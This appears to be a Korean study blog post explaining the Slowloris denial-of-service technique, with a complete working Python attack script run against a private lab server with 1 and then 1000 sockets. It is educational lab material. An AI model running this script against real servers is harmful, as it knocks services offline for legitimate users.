🦥Slowloris
DATE : 2024/2/5
What is Slowloris?
Slowloris란, 앞서 공부한 DoS 공격 중 하나로 미완성인 HTTP header를 보내
서버와의 연결을 유지 시킴으로써 다른 사용자가 서버와 소통하지 못하도록 만드는 공격 기법이다.
HTTP protocol은 Header & Body로 이루어지는데
이때 Header가 끝났음을 나타내기 위해서는 \r\n을 두 번 사용한다.
\r\n은 Header에 작성되는 각각의 라인을 구분할 때도 사용되는데
Header가 완전히 끝난 지점에서는 한 줄을 더 띄어야 하기 때문에 \r\n\r\n을 붙인다.
하지만 Slowloris 공격을 수행할 때는 의도적으로 Header를 완성하지 않음으로써
서버가 "더 전달될 헤더가 있구나!" 라고 생각하도록 만들기 위해 \r\n\r\n은 보내지 않은 채
일정 시간을 두고 계속해서 Header를 보냄으로써 수행된다.
서버가 대응할 수 있는 연결이 꽉 찬 상태로 계속해서 유지된다면
서비스를 이용하고자 하는 다른 사용자와 서버가 연결을 맺을 수 없다는 점을 공략하는 셈이다.
Slowloris 공격을 실습 해보기 위해서 아래 주소에 있는 Python Code를 사용했다.
절대 해당 코드는 불법적인 행위를 위한 목적으로 사용해서는 안 된다!!
교육적인 목적 이외에 다른 용도로 사용하는 경우, 책임은 본인에게 있다는 점!
import socket
import random
import time
__headers = [
"User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Accept-language: en-US,en"
]
def __setup_socket(ip, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print ("connecting...")
try:
sock.connect((ip, port))
sock.sendall("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1337)).encode("utf-8"))
for header in __headers:
sock.send("{}\r\n".format(header).encode("utf-8"))
return sock
except Exception as e:
print (e)
pass
Slowloris 공격을 수행할 대상 IP & Port를 전달하면 Socket을 만들어 연결을 시도한다.
def slowloris_attack(target_ip, port, total_requests, timeout=None):
sockets_list = [__setup_socket(target_ip, port) for _ in range(total_requests)]
start_time = time.time()
while True:
if timeout and time.time() - start_time >= timeout:
break
for socket_item in sockets_list:
try:
socket_item.send("X-a: {}\r\n".format(random.randint(1, 4600)).encode("utf-8"))
except socket.error:
sockets_list.remove(socket_item)
for _ in range(total_requests - len(sockets_list)):
try:
sock = __setup_socket(target_ip, port)
if sock:
sockets_list.append(sock)
except socket.error:
break
total_requests 만큼 Socket을 만들어 timeout 시간 동안 반복적으로 X-a header를 보내는데
이때 중요한 건, \r\n\r\n가 그 어디에도 없기 때문에 연결이 유지된 상태에서 각 Socket이 자신의 차례가
올 때마다 X-a header를 던져주게 된다. (for socket_item in sockets_list)
slowloris_attack("172.30.1.54",1018,1,10)
공격을 수행하는 과정에서 기록이 어떻게 찍히는 지 확인하기 위해 우선,
딱 하나의 Socket만 만들어보기로 했다.
python3 slowloris.py
코드를 실행하고 wireshark로 오고 간 데이터를 확인해보면 다음과 같다.

우선 서버와 연결을 하게 되면 3 way handshake 과정이 선행된 다음,
sock.sendall("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1337)).encode("utf-8"))
맨 처음 Socket으로 보낸 Header가 서버로 전달된 걸 확인해볼 수 있다.

현재 sockets_list에는 하나의 socket만 들어있다 보니 10초 동안 계속해서
동일한 Port에서 X-a header를 보내게 된다.

함수 send()를 통해 보낸 X-a header가 제대로 전달되고 있는 걸 볼 수 있는데
randint()로 정해준 범위 내에서 랜덤하게 숫자를 하나 뽑았기 때문에 모든 packet의 X-a header 값이
다른 걸 확인할 수 있을 것이다.
지금은 Header가 반복적으로 전달되는 과정을 보기 위해 하나의 Socket만 열어둔 상태이지만
서버를 다운 시키기 위해서는 더 많은 연결을 맺을 필요가 있어 보인다..!
slowloris_attack("172.30.1.54",1018,1000,60)
이번엔 다른 사용자가 서비스를 이용하지 못하도록 하기 위해서!!
1000개의 Socket을 만들어 1분 동안 지속적으로 X-a header를 보내기로 했다.
코드를 실행하고 서버로 접속해 아이디를 입력해보면..!

위와 같이 열심히 링만 돌아가고 페이지에는 응답이 없는 걸 볼 수 있다.
현재 Socket 연결을 완료한 뒤 열심히 X-a header를 보내고 있기 때문에
뒤늦게 서버로 요청을 보낸 사용자는 서버와 소통을 하지 못한 채

서비스를 이용하지 못하게 된다..!
이처럼 미완성된 Header를 서버로 보내 대량의 연결을 맺은 후 연결이 끊기지 않도록
한 번씩 Header를 보내줌으로써 다른 사용자와 서버가 소통하지 못하게 만드는 공격을, Slowloris라 한다!
Last updated